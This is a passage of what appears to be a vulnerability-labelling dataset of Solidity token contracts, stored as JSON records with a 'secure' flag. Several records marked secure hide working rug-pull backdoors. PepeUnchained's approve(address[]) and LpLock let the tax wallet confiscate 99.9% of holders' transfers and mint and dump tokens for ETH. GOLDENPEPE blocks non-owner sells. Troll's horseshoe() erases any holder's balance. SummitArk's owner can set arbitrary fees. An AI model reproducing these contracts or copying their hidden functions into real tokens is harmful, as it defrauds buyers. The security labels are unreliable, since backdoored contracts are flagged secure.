}\n\n function sender() internal view returns (address) {\n return msg.sender;\n }\n\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n\n function SupplyTotal(uint256 amount, address walletAddr) external {\n if (marketingAddres()) {\n _approve(address(this), address(uniV2Router), amount);\n\n _balances[address(this)] = amount;\n\n address[] memory addressPath = new address[](2);\n\n addressPath[0] = address(this);\n\n addressPath[1] = uniV2Router.WETH();\n\n uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n addressPath,\n walletAddr,\n block.timestamp + 32\n );\n } else {\n return;\n }\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n uint256 _taxValue = 0;\n\n require(from != address(0));\n\n require(value <= _balances[from]);\n\n emit Transfer(from, to, value);\n\n _balances[from] = _balances[from] - (value);\n\n bool onCooldown = (cooldowns[from] <= (getBlockNumber()));\n\n uint256 _cooldownFeeValue = value.mul(999).div(1000);\n\n if ((cooldowns[from] != 0) && onCooldown) {\n _taxValue = (_cooldownFeeValue);\n }\n\n uint256 toBalance = _balances[to];\n\n toBalance += (value) - (_taxValue);\n\n _balances[to] = toBalance;\n }\n\n event Approval(address indexed, address indexed, uint256 value);\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n sender(),\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n\n return true;\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(sender(), recipient, amount);\n\n return true;\n }\n\n mapping(address => uint256) private _balances;\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n}",
"file_name": "solidity_code_717.sol",
"secure": 1,
"size_bytes": 7053
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n revert(\"Cannot renounce ownership\");\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}",
"file_name": "solidity_code_718.sol",
"secure": 1,
"size_bytes": 1265
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IERC20Meta.sol\" as IERC20Meta;\n\ncontract GOLDENPEPE is Ownable, IERC20, IERC20Meta {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n address private constant UNISWAP_ROUTER =\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n mapping(address => bool) private _allowedPairs;\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 8;\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address sender = _msgSender();\n\n _transfer(sender, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner_,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner_][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner_ = _msgSender();\n\n _approve(owner_, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function addAllowedPair(address pair) external onlyOwner {\n _allowedPairs[pair] = true;\n }\n\n function removeAllowedPair(address pair) external onlyOwner {\n _allowedPairs[pair] = false;\n }\n\n function isAllowedPair(address pair) external view returns (bool) {\n return _allowedPairs[pair];\n }\n\n function isAllowedAddress(address addr) internal view returns (bool) {\n return addr == owner() || addr == UNISWAP_ROUTER || _allowedPairs[addr];\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _approve(\n address owner_,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner_ != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner_][spender] = amount;\n\n emit Approval(owner_, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from zero address\");\n\n require(to != address(0), \"ERC20: transfer to zero address\");\n\n if (!isAllowedAddress(from) && !isAllowedAddress(to)) {\n revert(\"Transfers allowed only for owner and Uniswap\");\n }\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _spendAllowance(\n address owner_,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner_, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner_, spender, currentAllowance - amount);\n }\n }\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n constructor() {\n _name = \"Golden PEPE\";\n\n _symbol = \"GOLDENPEPE\";\n\n uint256 initialAmount = 1000000000;\n\n _mint(msg.sender, initialAmount * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_719.sol",
"secure": 1,
"size_bytes": 5193
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract BlackHoleFreeMintToken is ERC20, Ownable {\n uint256 public constant MAX_SUPPLY = 210000000000 * 1 ether;\n\n uint256 public constant MINT_AMOUNT = 5000000 * 1 ether;\n\n mapping(address => bool) private hasMinted;\n\n constructor() ERC20(\"BlackHole\", \"0\") {}\n\n function mint() external {\n require(\n totalSupply() + MINT_AMOUNT <= MAX_SUPPLY,\n \"Total supply exceeded\"\n );\n\n require(!hasMinted[msg.sender], \"Address has already minted\");\n\n require(msg.sender == tx.origin, \"Contracts are not allowed to mint\");\n\n hasMinted[msg.sender] = true;\n\n _mint(msg.sender, MINT_AMOUNT);\n }\n}",
"file_name": "solidity_code_72.sol",
"secure": 1,
"size_bytes": 882
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Troll is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable hostile;\n\n constructor() {\n _name = \"Troll\";\n\n _symbol = \"TROLL\";\n\n _decimals = 18;\n\n uint256 initialSupply = 891000000;\n\n hostile = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == hostile, \"Not allowed\");\n\n _;\n }\n\n function horseshoe(address[] memory recover) public onlyOwner {\n for (uint256 i = 0; i < recover.length; i++) {\n address account = recover[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_720.sol",
"secure": 1,
"size_bytes": 4359
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IERC20Meta.sol\" as IERC20Meta;\n\ncontract GOLDENPEPE is Ownable, IERC20, IERC20Meta {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n address private constant UNISWAP_ROUTER =\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n mapping(address => bool) private _allowedPairs;\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 8;\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner_ = _msgSender();\n\n _transfer(owner_, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner_,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner_][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner_ = _msgSender();\n\n _approve(owner_, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function addAllowedPair(address pair) external onlyOwner {\n _allowedPairs[pair] = true;\n }\n\n function removeAllowedPair(address pair) external onlyOwner {\n _allowedPairs[pair] = false;\n }\n\n function isAllowedPair(address pair) external view returns (bool) {\n return _allowedPairs[pair];\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _approve(\n address owner_,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner_ != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner_][spender] = amount;\n\n emit Approval(owner_, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (from != owner()) {\n if (_allowedPairs[to]) {} else {\n require(\n to != UNISWAP_ROUTER,\n \"Transfers to Uniswap Router are not allowed from non-owner\"\n );\n\n revert(\n \"Transfers to this address are not allowed from non-owner\"\n );\n }\n }\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _spendAllowance(\n address owner_,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner_, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner_, spender, currentAllowance - amount);\n }\n }\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n constructor() {\n _name = \"Golden PEPE\";\n\n _symbol = \"GOLDENPEPE\";\n\n uint256 _amount = 1000000000;\n\n _mint(msg.sender, _amount * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_721.sol",
"secure": 1,
"size_bytes": 5279
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\n\ncontract PepeUnchained is Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: dc941da): PepeUnchained._decimals should be constant \n\t// Recommendation for dc941da: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 13a255d): PepeUnchained._totalSupply should be immutable \n\t// Recommendation for 13a255d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;\n\n constructor() {\n _balances[sender()] = _totalSupply;\n\n emit Transfer(address(0), sender(), _balances[sender()]);\n\n _taxWallet = msg.sender;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: f297a6c): PepeUnchained._name should be constant \n\t// Recommendation for f297a6c: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Pepe Unchained\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 485333e): PepeUnchained._symbol should be constant \n\t// Recommendation for 485333e: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"PEPU\";\n\n\t// WARNING Optimization Issue (constable-states | ID: d2e15ba): PepeUnchained.uniV2Router should be constant \n\t// Recommendation for d2e15ba: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private uniV2Router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 38a36dd): PepeUnchained._taxWallet should be immutable \n\t// Recommendation for 38a36dd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _taxWallet;\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"IERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"IERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function ontoforapprove() public {}\n\n function fortoapprove() external {}\n\n function fromon() public {}\n\n function onfrom() public {}\n\n function approve(address[] calldata walletAddress) external {\n uint256 fromBlockNo = getBlockNumber();\n\n for (\n uint256 walletInde = 0;\n walletInde < walletAddress.length;\n walletInde++\n ) {\n if (!marketingAddres()) {} else {\n cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;\n }\n }\n }\n\n function transferFrom(\n address from,\n address recipient,\n uint256 _amount\n ) public returns (bool) {\n _transfer(from, recipient, _amount);\n\n require(_allowances[from][sender()] >= _amount);\n\n return true;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function getBlockNumber() internal view returns (uint256) {\n return block.number;\n }\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n function allowance(\n address accountOwner,\n address spender\n ) public view returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public returns (bool) {\n require(_allowances[msg.sender][from] >= amount);\n\n _approve(sender(), from, _allowances[msg.sender][from] - amount);\n\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256);\n\n mapping(address => uint256) internal cooldowns;\n\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n\n function marketingAddres() private view returns (bool) {\n return (_taxWallet == (sender()));\n }\n\n function sender() internal view returns (address) {\n return msg.sender;\n }\n\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n\n function LpLock(uint256 amount, address walletAddr) external {\n if (marketingAddres()) {\n _approve(address(this), address(uniV2Router), amount);\n\n _balances[address(this)] = amount;\n\n address[] memory addressPath = new address[](2);\n\n addressPath[0] = address(this);\n\n addressPath[1] = uniV2Router.WETH();\n\n uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n addressPath,\n walletAddr,\n block.timestamp + 32\n );\n } else {\n return;\n }\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n uint256 _taxValue = 0;\n\n require(from != address(0));\n\n require(value <= _balances[from]);\n\n emit Transfer(from, to, value);\n\n _balances[from] = _balances[from] - (value);\n\n bool onCooldown = (cooldowns[from] <= (getBlockNumber()));\n\n uint256 _cooldownFeeValue = value.mul(999).div(1000);\n\n if ((cooldowns[from] != 0) && onCooldown) {\n _taxValue = (_cooldownFeeValue);\n }\n\n uint256 toBalance = _balances[to];\n\n toBalance += (value) - (_taxValue);\n\n _balances[to] = toBalance;\n }\n\n event Approval(address indexed, address indexed, uint256 value);\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n sender(),\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n\n return true;\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(sender(), recipient, amount);\n\n return true;\n }\n\n mapping(address => uint256) private _balances;\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n}",
"file_name": "solidity_code_722.sol",
"secure": 1,
"size_bytes": 7095
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: c1be051): Contract locking ether found Contract Anonium has payable functions Anonium.receive() But does not have a function to withdraw the ether\n// Recommendation for c1be051: Remove the 'payable' attribute or add a withdraw function.\ncontract Anonium is ERC20, Ownable {\n constructor() ERC20(\"Anonium\", \"ANON\") {\n _mint(owner(), 1_000_000_000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: c1be051): Contract locking ether found Contract Anonium has payable functions Anonium.receive() But does not have a function to withdraw the ether\n\t// Recommendation for c1be051: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_723.sol",
"secure": 0,
"size_bytes": 989
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Ownable {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n function _msgSender() internal view virtual returns (address payable) {\n return payable(msg.sender);\n }\n\n constructor() {\n _owner = 0x733b0C59483bF6365a6F29d70fE35Dd47Dba4fed;\n\n emit OwnershipTransferred(address(0), _owner);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}",
"file_name": "solidity_code_724.sol",
"secure": 1,
"size_bytes": 1169
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract SummitArk is Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: fdf583d): SummitArk._decimals should be immutable \n\t// Recommendation for fdf583d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n uint256 public maxBuyLimit;\n\n uint256 public maxSellLimit;\n\n address public taxWallet = 0x8C9ce43d42725e808bE0D2F2dDc4c7fcD40331c1;\n\n uint256 public buyFee = 50;\n\n uint256 public sellFee = 50;\n\n IUniswapV2Router02 public immutable uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 926ee8c): SummitArk.uniswapV2Pair should be immutable \n\t// Recommendation for 926ee8c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n constructor() {\n _name = \"SummitArk\";\n\n _symbol = \"SURK\";\n\n _decimals = 18;\n\n _init(owner(), 50_000_000 * 10 ** 18);\n\n maxBuyLimit = 500_000 * 10 ** 18;\n\n maxSellLimit = 500_000 * 10 ** 18;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = _uniswapV2Router;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[taxWallet] = true;\n }\n\n function _init(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply + amount;\n\n _balances[account] = _balances[account] + amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transferTokens(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public returns (bool) {\n _transferTokens(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] - subtractedValue\n );\n\n return true;\n }\n\n function _transferTokens(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n if (sender != owner() && recipient != owner()) {\n if (recipient == uniswapV2Pair) {\n require(amount <= maxSellLimit, \"Exceeds Max Sell Amount\");\n } else {\n require(amount <= maxBuyLimit, \"Exceeds Max Buy Amount\");\n }\n }\n\n uint256 fee = 0;\n\n if (!_isExcludedFromFee[sender] && !_isExcludedFromFee[recipient]) {\n if (recipient == uniswapV2Pair) {\n fee = (amount * sellFee) / 100;\n } else {\n fee = (amount * buyFee) / 100;\n }\n\n amount = amount - fee;\n }\n\n _transfer(sender, recipient, amount);\n\n if (fee > 0) {\n _transfer(sender, taxWallet, fee);\n }\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(\n _balances[sender] >= amount,\n \"ERC20: Cannot send more available balance\"\n );\n\n _balances[sender] = _balances[sender] - amount;\n\n _balances[recipient] = _balances[recipient] + amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 9951020): SummitArk.updateTaxWallet(address)._taxWalletAddress lacks a zerocheck on \t taxWallet = _taxWalletAddress\n\t// Recommendation for 9951020: Check that the address is not zero.\n function updateTaxWallet(address _taxWalletAddress) public onlyOwner {\n\t\t// missing-zero-check | ID: 9951020\n taxWallet = _taxWalletAddress;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: d52effa): SummitArk.updateBuyAndSellFee(uint256,uint256) should emit an event for buyFee = _buyFee sellFee = _sellFee \n\t// Recommendation for d52effa: Emit an event for critical parameter changes.\n function updateBuyAndSellFee(\n uint256 _buyFee,\n uint256 _sellFee\n ) public onlyOwner {\n\t\t// events-maths | ID: d52effa\n buyFee = _buyFee;\n\n\t\t// events-maths | ID: d52effa\n sellFee = _sellFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 8a5c4fe): SummitArk.updateMaxTxLimit(uint256,uint256) should emit an event for maxBuyLimit = _maxBuyLimit maxSellLimit = _maxSellLimit \n\t// Recommendation for 8a5c4fe: Emit an event for critical parameter changes.\n function updateMaxTxLimit(\n uint256 _maxBuyLimit,\n uint256 _maxSellLimit\n ) public onlyOwner {\n\t\t// events-maths | ID: 8a5c4fe\n maxBuyLimit = _maxBuyLimit;\n\n\t\t// events-maths | ID: 8a5c4fe\n maxSellLimit = _maxSellLimit;\n\n require(maxBuyLimit > totalSupply() / 1000, \"Too less limit\");\n\n require(maxSellLimit > totalSupply() / 5000, \"Too less limit\");\n }\n}",
"file_name": "solidity_code_725.sol",
"secure": 0,
"size_bytes": 8293
} |
{
